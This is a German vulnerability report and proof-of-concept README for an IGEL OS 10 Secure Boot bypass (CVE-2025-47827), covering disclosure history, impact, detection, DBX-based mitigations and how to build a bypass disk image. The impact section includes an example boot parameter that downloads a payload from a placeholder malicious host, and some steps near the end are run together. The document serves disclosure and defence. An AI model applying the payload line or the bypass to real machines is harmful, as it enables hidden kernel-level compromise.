PoC- und Schwachstellenbericht für CVE-2025-47827.
Proof-of-Concept und Schwachstellenbericht für CVE-2025-47827.
In IGEL OS vor v11 kann Secure Boot umgangen werden, weil das
igel-flash-driver-Modul eine kryptografische Signatur nicht ordnungsgemäß überprüft.
Letztendlich kann ein manipuliertes Root-Dateisystem aus einem unverifizierten
SquashFS-Image gemountet werden.
Die nicht ordnungsgemäße Überprüfung der kryptografischen Signatur im Linux-Kernel-Modul igel-flash-driver
in IGEL OS 10 ermöglicht es einem Angreifer, Secure Boot zu umgehen,
indem der von der Microsoft 3rd Party UEFI CA signierte Shim gebootet wird, der
dann GRUB und den anfälligen Kernel lädt, die beide von der IGEL Secure Boot
Signing CA signiert sind. Sobald der anfällige Kernel und das eingebettete Initramfs geladen sind, kann ein
manipuliertes Root-Dateisystem aus dem unverifizierten SquashFS-Image auf der Festplatte gemountet werden.
Da der Syscall kexec_load im anfälligen Kernel verfügbar ist, kann der aktuell
gebootete Kernel durch einen vollständig nicht vertrauenswürdigen ersetzt werden, was praktisch
jedes Betriebssystem nach Durchlaufen einer vollständigen Vertrauenskette booten lässt.
In späteren Versionen von IGEL OS überprüft das Modul eine Signatur des Root-Dateisystem-SquashFS-Images korrekt. Allerdings sind sowohl der anfällige Kernel als auch gepatchte Versionen mit demselben Zertifikat signiert, sodass derselbe Shim sowohl anfällige als auch gepatchte Versionen booten kann.
Der anfängliche Vektorstring für CVE-2025-47827 war
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,
was einen CVSS-Score von 8,4 (hoch) ergibt.
Am 14. Oktober 2025 wurde dies geändert zu
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,
wodurch der Score auf 4,6 (mittel) gesenkt wurde.
Darüber hinaus wurde die ursprüngliche Schwachstelle als CWE-347: Improper Verification of Cryptographic Signature definiert, aber MSRC hat sie als CWE-324: Use of a Key Past its Expiration Date eingestuft.
Sowohl IGEL als auch Microsoft wurden kontaktiert und über diese Schwachstelle informiert, am 6. Dezember 2024 bzw. 31. März 2025, bevor die Details am 29. Mai 2025 veröffentlicht wurden.
Da IGEL OS 10 nicht unterstützt wird und die Schwachstelle nicht direkt im Shim besteht, hat keine der beiden Parteien eine Lösung vorgeschlagen. Microsoft antwortete wie folgt:
Nach unserer Untersuchung haben wir festgestellt, dass diese Einsendung nicht der Definition einer Sicherheitslücke für die Wartung entspricht, da IGEL OS v10 nicht mehr unterstützt wird und das Problem im Kernel-Modul und nicht im Shim liegt. Nur der Shim ist mit dem MSFT-Zertifikat signiert.
IGEL veröffentlichte am 2. Juni 2025 einen Sicherheitshinweis für CVE-2025-47827.
Am 13. Juni 2025 meldete ich dies erneut an Microsoft und erhielt die folgende Antwort:
Obwohl Ihr Bericht einige gute Informationen enthielt, entspricht er nicht den Anforderungen von Microsoft an eine Sicherheitslücke für die Wartung. Das gemeldete Problem liegt im Kernel-Modul und nicht im Shim, und nur der Shim ist mit dem MSFT-Zertifikat signiert. „kexec“ ermöglicht bereits von Natur aus die Umgehung von Secure Boot (Ref.: kexec-Befehlszeile in Linux – Linux Expert Better 2025).
Dies würde die Wartungskriterien von MSRC erfüllen, wenn das Problem in einem Boot-
Treiber bzw. einer Boot-Komponente läge. Hierbei handelt es sich um eine Schwachstelle im Kernel-Treiber der Linux-Distribution. Sie tritt nach UEFI „ExitBootServices“ auf, was bedeutet, dass es sich nicht um eine Umgehung von Secure Boot handelt. Der Benutzer hat nur auf OS-Ebene Codeausführung, nicht beim Booten.
Seit der Veröffentlichung verschiedener Nachrichtenartikel zu dieser Schwachstelle haben die Shim-Maintainer mit Microsoft und IGEL Kontakt aufgenommen, um eine Lösung zu besprechen.
Nachdem eine Lösung gefunden wurde, eröffnete ich am 20. Okt. 2025 ein weiteres Ticket bei MSRC und fragte nach dem Grund für die Verzögerung bei der Sperrung dieser Shim, nach Änderungen am CVSS-Vektorstring und an der CWE und warum der Update-Leitfaden angab, dass die Schwachstelle nicht öffentlich offengelegt worden sei. Ich erhielt die folgende Antwort:
Die behobene IGEL-Schwachstelle ist keine Umgehung von Secure Boot. Es handelt sich um eine Linux-spezifische Umgehung der Kernel-Integrität, die Windows nicht betrifft. IGEL-Shims sind alt und unterstützen den neuen SBAT-basierten Widerruf nicht. Daher hat Microsoft die Widerrufe ausgesprochen, um vor potenziellen Ausnutzungen anderer Schwachstellen zu schützen, die durch SBAT geschützt wurden.
Jeffrey Sutherland, Principal Lead Program Manager, antwortete auf den PR und erklärte, dass die Shims mangels SBAT per DBX widerrufen werden mussten und IGEL zusätzliche Zeit erbeten hatte, um unbeabsichtigte Konsequenzen zu vermeiden. Sie entschuldigten sich außerdem dafür, die Kommunikation zwischen dem Forscher und den beteiligten Parteien nicht wie von der Koordinierte Offenlegung von Schwachstellen gefordert aufrechterhalten zu haben.
Ein Exploit zur Umgehung von Secure Boot könnte zur Entwicklung eines unerkannten Bootkits/Rootkits auf Kernel-Ebene führen, was wiederum mehrere Auswirkungen haben kann, darunter:
Ohne Widerruf oder manuelles Eingreifen ist Secure Boot auf allen Maschinen unbrauchbar geworden, die der Microsoft 3rd Party UEFI CA vertrauen, was zum Zeitpunkt des Schreibens für die meisten Geräte der Standard ist.
Wenn diese Schwachstelle für kexec genutzt wird, kann sie ausgenutzt werden, um ein legitimes System
leise und böswillig zu modifizieren, ohne Secure Boot zu beeinträchtigen.
Der Kernel könnte vollständig ersetzt werden, sodass schädlicher Code auf Kernel-Ebene ausgeführt werden kann, was uneingeschränkten Zugriff auf alle Systemressourcen gewährt, einschließlich Speicher, CPU und angeschlossener Geräte.
Dies würde es ermöglichen, Verschlüsselungsschlüssel aus dem Speicher auszulesen, schädliche Prozesse uneingeschränkt auszuführen und es Malware zu ermöglichen, der Erkennung zu entgehen.
Die Befehlszeile des legitimen Kernels kann geändert werden,
um Sicherheitsmodule zu deaktivieren oder den Parameter init zu ändern, sodass eine
schädliche Nutzlast ausgeführt werden kann, nachdem das echte Root-Dateisystem gemountet wurde.
Zum Beispiel (modprobe, DHCP, chmod, aus Gründen der Kürze weggelassen):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
Dies könnte ein legitimes ausführbares Programm ersetzen, PID 1 kapern oder sich selbst beim Booten automatisch starten und so einfach Root-Zugriff erlangen.
`/proc/cmdline` kann mit einem Bind-Mount [gekapert](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) werden, um Änderungen zu verbergen.
Weitere Informationen finden Sie in der [Linux-Dokumentation](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html).
### Persistenz
Die Auswirkung wäre so lange persistent, wie die erforderlichen EFI-Binaries und der Kernel vorhanden und für den Boot durch die Systemfirmware konfiguriert sind.
Betriebssystem-Updates können Änderungen an der Boot-Reihenfolge oder der Secure Boot Forbidden Signature Database (DBX) verursachen, was die Ausführung der Binaries verhindern kann. Wenn das Betriebssystem jedoch ebenfalls kompromittiert ist, kann diese Abhilfemaßnahme rückgängig gemacht werden.
Darüber hinaus kann privilegierte Schadsoftware, da die EFI-Boot-Reihenfolge vom Betriebssystem über die Modifikation der EFI-Variablen konfigurierbar ist, Persistenz erlangen oder Privilegien weiter ausweiten, indem sie die erforderlichen Boot-Dateien installiert und die Boot-Reihenfolge entsprechend konfiguriert.
## Erkennung
Angenommen, es wurde ein perfektes Rootkit auf Kernel-Ebene erstellt, um diese Schwachstelle auszunutzen, können Daten über das laufende System nicht vertraut werden.
Methoden zur Erkennung umfassen:
- Prüfen, ob die beteiligten Binaries vorhanden sind
- Verifizieren von Signaturen/Integrität bekannter Dateien, z. B. [rkhunter](https://rkhunter.sourceforge.net/)
- Verhaltensanalyse, insbesondere in vernetzten Umgebungen
Zumindest müssen die signierten EFI-Binaries, die von der Systemfirmware gebootet werden sollen, und der IGEL-Kernel auf dem kompromittierten System vorhanden sein. Aufgrund der [Ebene](https://en.wikipedia.org/wiki/Protection_ring), auf der der schädliche Code ausgeführt würde, könnte sich das [Rootkit](https://en.wikipedia.org/wiki/Rootkit) jedoch zur Laufzeit verstecken.
Weitere Indikatoren für eine Kompromittierung hängen von den Aktionen der Schadsoftware ab, die diese Schwachstelle ausgenutzt hat. Beispielsweise könnte der gebootete Kernel ersetzt worden sein, Dateien im Root-Dateisystem modifiziert oder unerwartete Programme ausgeführt werden.
## Gegenmaßnahmen
> [!IMPORTANT]
> Microsoft hat eine [signierte DBX](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed) veröffentlicht, die die Signaturen der betreffenden Shims am 20. Oktober 2025 im Einvernehmen mit IGEL widerruft.
>
> Für Windows-Systeme siehe den [MSRC-Update-Leitfaden](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> Um Linux-basierte Systeme mit [fwupd](https://fwupd.org/) zu aktualisieren, aktualisieren Sie [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware) auf Version `20250902` oder höher.
>
> Weitere Informationen finden Sie unter [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).
Um zu verhindern, dass die Boot-Kette kompromittiert wird, sollte das Zertifikat, das zum Signieren des verwundbaren GRUB-/Kernel-Images verwendet wird, widerrufen bzw. als nicht vertrauenswürdig eingestuft werden, oder die SHA-256-Hashes der betroffenen Kernel (oder Shims) sollten zur DBX- oder MOKX-Deny-Liste hinzugefügt werden.
Weitere Informationen finden Sie in der [Dokumentation des NSA Cybersecurity Directorate](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md).
Alternativ kann, um die Ausführung des ursprünglichen Shims zu verhindern, die Microsoft 3rd Party UEFI CA als nicht vertrauenswürdig eingestuft werden, was jedoch zu unbeabsichtigten Störungen anderer legitimer Anwendungen führen kann.
Einige Geräte bieten diese Option in den Firmware-Einstellungen an.
Die [ArchWiki-Seite für sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) warnt vor Folgendem:
> [!WARNING]
> Einige Firmware wird signiert und mit Microsoft-Schlüsseln verifiziert, wenn Secure Boot aktiviert ist. Wenn Geräte nicht validiert werden, könnten sie unbrauchbar werden.
Dies ist die [Standardvorgabe für Secured-core-PCs](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):
> Der Standardzustand von Secure Boot hat einen weiten Vertrauenskreis, der dazu führen kann, dass Kunden Boot-Komponenten vertrauen, die sie möglicherweise nicht benötigen. Da das Zertifikat der Microsoft 3rd Party UEFI CA die Bootloader aller Linux-Distributionen signiert, erhöht das Vertrauen in die Signatur der Microsoft 3rd Party UEFI CA in der UEFI-Datenbank die Angriffsfläche von Systemen. Ein Kunde, der nur einer einzigen Linux-Distribution vertrauen und diese booten wollte, wird allen Distributionen vertrauen – mehr als seiner gewünschten Konfiguration entspricht. Eine Schwachstelle in einem der Bootloader setzt das System der Gefahr eines Exploits für einen Bootloader aus, den er nie zu verwenden beabsichtigte, wie bei den jüngsten Schwachstellen zu sehen ist, zum Beispiel [beim GRUB-Bootloader](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) oder [Rootkit auf Firmware-Ebene](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit), die Boot-Komponenten betreffen.
> [Secured-core-PCs](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) erfordern, dass Secure Boot standardmäßig aktiviert und so konfiguriert ist, dass es der Signatur der Microsoft 3rd Party UEFI CA nicht vertraut, um Kunden die sicherstmögliche Konfiguration ihrer PCs zu bieten.
### Measured Boot
Wenn das System mit dem IGEL-Shim gebootet wird, ändern sich die [TPM-PCR-Messwerte](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers).
Windows verwendet standardmäßig [Measured Boot](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot) mit BitLocker, wodurch die Verschlüsselungsschlüssel unzugänglich werden, wenn das System nicht mit den erwarteten Binaries gebootet wird.
Unter Linux-basierten Systemen kann [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) verwendet werden, um einen LUKS-Schlüssel im TPM zu registrieren und ihn an verschiedene PCRs zu binden (standardmäßig PCR 7).
Measured Boot schützt das legitime Betriebssystem vor Modifikation, indem der Verschlüsselungsschlüssel nur in einer vertrauenswürdigen Umgebung freigegeben wird. Es verhindert jedoch nicht, dass ein nicht autorisiertes Betriebssystem bootet; dafür ist Secure Boot verantwortlich.
Daher könnte ein Benutzer weiterhin gefährdet sein, selbst wenn sein Betriebssystem Measured Boot verwendet. Zum Beispiel:
- IGEL-Shim und bösartiges Betriebssystem booten, während die Secure-Boot-Prüfung bestanden wird
- Erscheinungsbild und Verhalten des echten Betriebssystems emulieren
- Benutzer gibt Anmeldeinformationen ein, die an den Angreifer gesendet werden
- Optional in das legitime Betriebssystem neu starten
Während das legitime Betriebssystem mit Measured Boot nicht modifiziert werden kann, da der Verschlüsselungsschlüssel an die TPM-PCR-Messwerte gebunden ist[^1], kann das System weiterhin bösartige Software booten.
[^1]: BitLocker-Wiederherstellungsschlüssel sind nicht an das TPM gebunden.
### Unified Kernel Image
Ein [Unified Kernel Image](https://uapi-group.org/specifications/specs/unified_kernel_image/) kann verwendet werden, um alle Boot-Ressourcen (d. h. Kernel, Initramfs, Kernel-Befehlszeile usw.) in einer einzigen UEFI-PE-Datei zu bündeln.
Diese Images können wie jede andere EFI-Ausführbare Datei signiert werden.
Um die Boot-Sicherheit zu verbessern und die Angriffsfläche der Boot-Kette zu minimieren, erstellen Sie ein Unified Kernel Image und signieren Sie es mit selbst generierten Schlüsseln, wobei Sie allen Vendor-/OEM-Schlüsseln nicht vertrauen.
## Binärdateien
Die beteiligten Binärdateien sind unten aufgeführt:
### Beschreibung
In Ausführungsreihenfolge:
- `boot*.efi` -> von Microsoft signierter Shim
- `igel*.efi` -> von IGEL signiertes GRUB
- `bzImage` -> Linux-Image (eingebettetes Initramfs), von IGEL signiert
Das Zertifikat mit dem Subject `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` ist in [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der) zu finden.
Der SHA-256-Fingerabdruck dieses Zertifikats ist
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.
Die Signaturen dieser Binärdateien können mit `sbverify` (aus [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)) überprüft werden:```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (von udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
Die Hashes von [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
und [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
wurden über die DBX widerrufen.
## Proof of Concept
Ein Proof-of-Concept-Shellskript wird bereitgestellt, um die IGEL-OS-Installations-ISO herunterzuladen,
zu extrahieren und ein bootbares Festplattenabbild mit einem modifizierten SquashFS-Root-Dateisystem zu erstellen.
Alternativ könnte anstelle eines Festplattenabbilds die ISO mit einer angehängten EFI-Systempartition
neu verpackt werden. Eine Hybrid-MBR könnte ebenfalls verwendet werden, um
die Unterstützung für ältere BIOS-Systeme beizubehalten, aber das würde den Rahmen
dieses Projekts sprengen. Die Installations-ISO enthält einen ISOLINUX-Bootloader für
Legacy-Systeme, der ein GRUB-`core.img` per Chainloading lädt.
### Overlays
Es werden Beispiel-Overlay-Verzeichnisse bereitgestellt, um das Booten einer
Live-Arch-Linux-Umgebung über HTTP zu demonstrieren.
Das `init`-Skript lädt den angegebenen Kernel aus den Kernel-Befehlszeilenparametern
mit `kexec` und startet dann neu. Der Ersatzkernel muss nicht signiert sein, wenn
`--kexec-syscall` anstelle von `--kexec-file-syscall` übergeben wird.
Die GRUB-Konfigurationsdatei wird auf der EFI-Systempartition gespeichert und kann
leicht geändert werden. Weitere Dateien können auf der ESP abgelegt werden, z. B. Kernel-,
Initramfs- oder SquashFS-Abbilder, um vom ersten Root-Dateisystem aus per `kexec`
gebootet zu werden. Dadurch kann ein anderes System lokal per Chainloading gestartet werden,
das wie ein normales System aktualisiert werden kann, ohne die ISO jedes Mal neu zu erstellen.
Alternativ können die erforderlichen Dateien über HTTP mit `curl` heruntergeladen und
dann gebootet werden, was ein kleineres Festplattenabbild ermöglicht.
Dies ist ein harmloses Beispiel dafür, wie die Schwachstelle ausgenutzt werden könnte,
aber das `init`-Skript oder der `kexec`-Kernel könnte modifiziert werden, um
bösartiges Verhalten zu demonstrieren.
### Abhängigkeiten
Das Skript benötigt die folgenden Pakete:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, und alles andere)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
Diese sollten für jede Distribution aus ihren offiziellen Paketquellen verfügbar sein.
`igelfs-cli` kann in einer virtuellen Umgebung von
[PyPI](https://pypi.org/project/igelfs/) installiert werden:```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### Beispiel
Erstellen Sie ein 500-MB-Disk-Image, das den Inhalt von `esp` und `root` in die
EFI-Systempartition bzw. das SquashFS kopiert:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
Das resultierende Image bootet einen Rechner mit aktiviertem Secure Boot, welches der Microsoft 3rd Party UEFI CA vertraut.
Das Roh-Disk-Image kann auf ein physisches Gerät geschrieben oder für die Verwendung mit einer virtuellen Maschine konvertiert werden.
Siehe die Seite Veröffentlichungen für ein beispielhaftes bootfähiges Disk-Image und Kopien der relevanten Binärdateien.
Das Beispiel enthält ein modifiziertes IGEL-OS-SquashFS-Image, um Arch Linux über HTTPS mit kexec herunterzuladen und zu booten. Der Mirror befindet sich in der GRUB-Konfiguration.
mkdiskimage lädt das IGEL-OS-10-UDC-Archiv herunter, das die Installations-ISO enthältosirrox extrahiert, um die EFI-Binärdateien ddimage.bin
und bzImage zu erhaltenigelfs-cli wird das System-SquashFS
aus ddimage.bin extrahiert, das anschließend mit unsquashfs extrahiert wirdmksquashfs neu erstellt und eine neue ddimage.bin wird
mit igelfs-cli erstellt, wobei das SquashFS als Partition #1 (sys) dientddimage.bin wird mit zu einem ISO-Image hinzugefügtDas ISO-Image enthält nur die ddimage.bin und den Dateihinweis boot_id, während
das ESP EFI-Binärdateien und Dateien für GRUB enthält.
Das Root-Dateisystem könnte mit buildroot erstellt werden, um die Dateigröße erheblich zu reduzieren.
Kernelmodule für das bzImage werden zum SquashFS-Image hinzugefügt, um
Unterstützung für Dateisysteme, Netzwerk usw. sowie alle weiteren
Anforderungen hinzuzufügen.
Ein Beispiel-defconfig zum Erstellen eines Root-SquashFS, mit kexec und ohne init-
Skript, befindet sich in buildroot. Verwenden Sie ein Overlay-Verzeichnis, um andere
Dateien hinzuzufügen, z. B. init-Skript, entweder mit BR2_ROOTFS_OVERLAY oder mkdiskimage.
Das kexec-Userspace-Binary ist standardmäßig nicht in der Systempartition von IGEL OS 10
verfügbar. Wenn es also benötigt wird, kann es auch zum gepatchten
SquashFS-Image hinzugefügt werden.
Das kexec-Binary kann mit seinen Bibliotheksabhängigkeiten mithilfe von
staticx gebündelt werden, um fehlende
gemeinsame Bibliotheken auf dem IGEL-OS-SquashFS-Image zu vermeiden:```sh
staticx "$(which kexec)" "./root/sbin/kexec"
Hinweis: Aufgrund der Teilzeichenfolgensuche `parse_cmdline` des IGEL-Initramfs wird `init` _überall_ in der Kernel-Befehlszeile vom ersten Initramfs interpretiert. Daher kann `init` nicht über die ersten Kernelparameter an den `kexec`-Kernel übergeben werden.
### SSL
Falls SSL erforderlich ist, z. B. für HTTPS, fügen Sie `/etc/ssl/certs/ca-certificates.crt` zum SquashFS-Image hinzu.
### Requirements
Das ISO muss die erste Partition sein, wodurch die EFI-Systempartition (ESP) unkonventionell Partition #2 wird. Dies liegt daran, wie das `init`-Skript des Initramfs nach Geräten sucht.
Ebenso erstellt IGEL OS nach der Installation zwei ESPs auf Partition #2 und #3.
GRUB erfordert, dass `/boot/igel-ud-converter` auf demselben Dateisystem vorhanden ist wie `/boot/grub/igel.conf`:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
Das init-Skript des eingebetteten Initramfs von bzImage erfordert, dass eine Datei, die der über die Kernel-Befehlszeile übergebenen boot_id entspricht und mit einem Punkt (.) beginnt, auf dem ISO-Dateisystem vorhanden ist. Die boot_id muss mit IGEL_UDC_TO beginnen, z. B. .IGEL_UDC_TO_210319143827.
Diese Dateien können leer sein, müssen aber vorhanden sein.
Das SquashFS muss außerdem ein /igfimage-Verzeichnis für das Init-Skript des Initramfs enthalten, sonst schlägt der Root-Wechsel fehl.
Ein Benutzer könnte diese Schwachstelle absichtlich ausnutzen, um ein Linux-basiertes Betriebssystem auf seinem Rechner zu booten, ohne Secure Boot zu konfigurieren.
Da darüber hinaus eine vollständige Linux-Umgebung effektiv als Bootloader verwendet wird, kann das init-Skript angepasst werden, um das Laden des nächsten Kernels auf komplexere Weise zu handhaben, als es ein herkömmlicher Bootloader ermöglichen würde, z. B. Netzwerk, Verschlüsselung usw. Andererseits kann dies dazu genutzt werden, Indikatoren einer Kompromittierung zu verbergen, indem Assets zur Laufzeit abgerufen werden, anstatt sie auf der Festplatte zu speichern.
Verschiedene Projekte nutzen kexec bereits für diesen Zweck, wie kexecboot und petitboot.
Details zur Schwachstelle:
Gegenmaßnahmen:
Update-Überprüfungen:
Nachrichtenartikel:
Software und verwandte Projekte:
CVE-2025-47827 ist unter der MIT-Lizenz lizenziert und kann von jedem frei verwendet, geändert und geteilt werden.
Dieses Projekt wird in der Hoffnung verbreitet, dass es nützlich ist, jedoch ohne jegliche Gewährleistung.
[!IMPORTANT] Bitte gehen Sie verantwortungsvoll mit diesen Informationen um. Die Veröffentlichung dieser Schwachstelle soll Benutzer informieren und mögliche Gegenmaßnahmen vorschlagen, um Schaden zu vermeiden.
Seien Sie ein guter Mensch.
Wenn Sie dieses Projekt nützlich fanden, ziehen Sie bitte eine Spende in Betracht. Jeder Betrag wird sehr geschätzt! Danke 😃
xorrisofdisk partitioniert
dd geschrieben)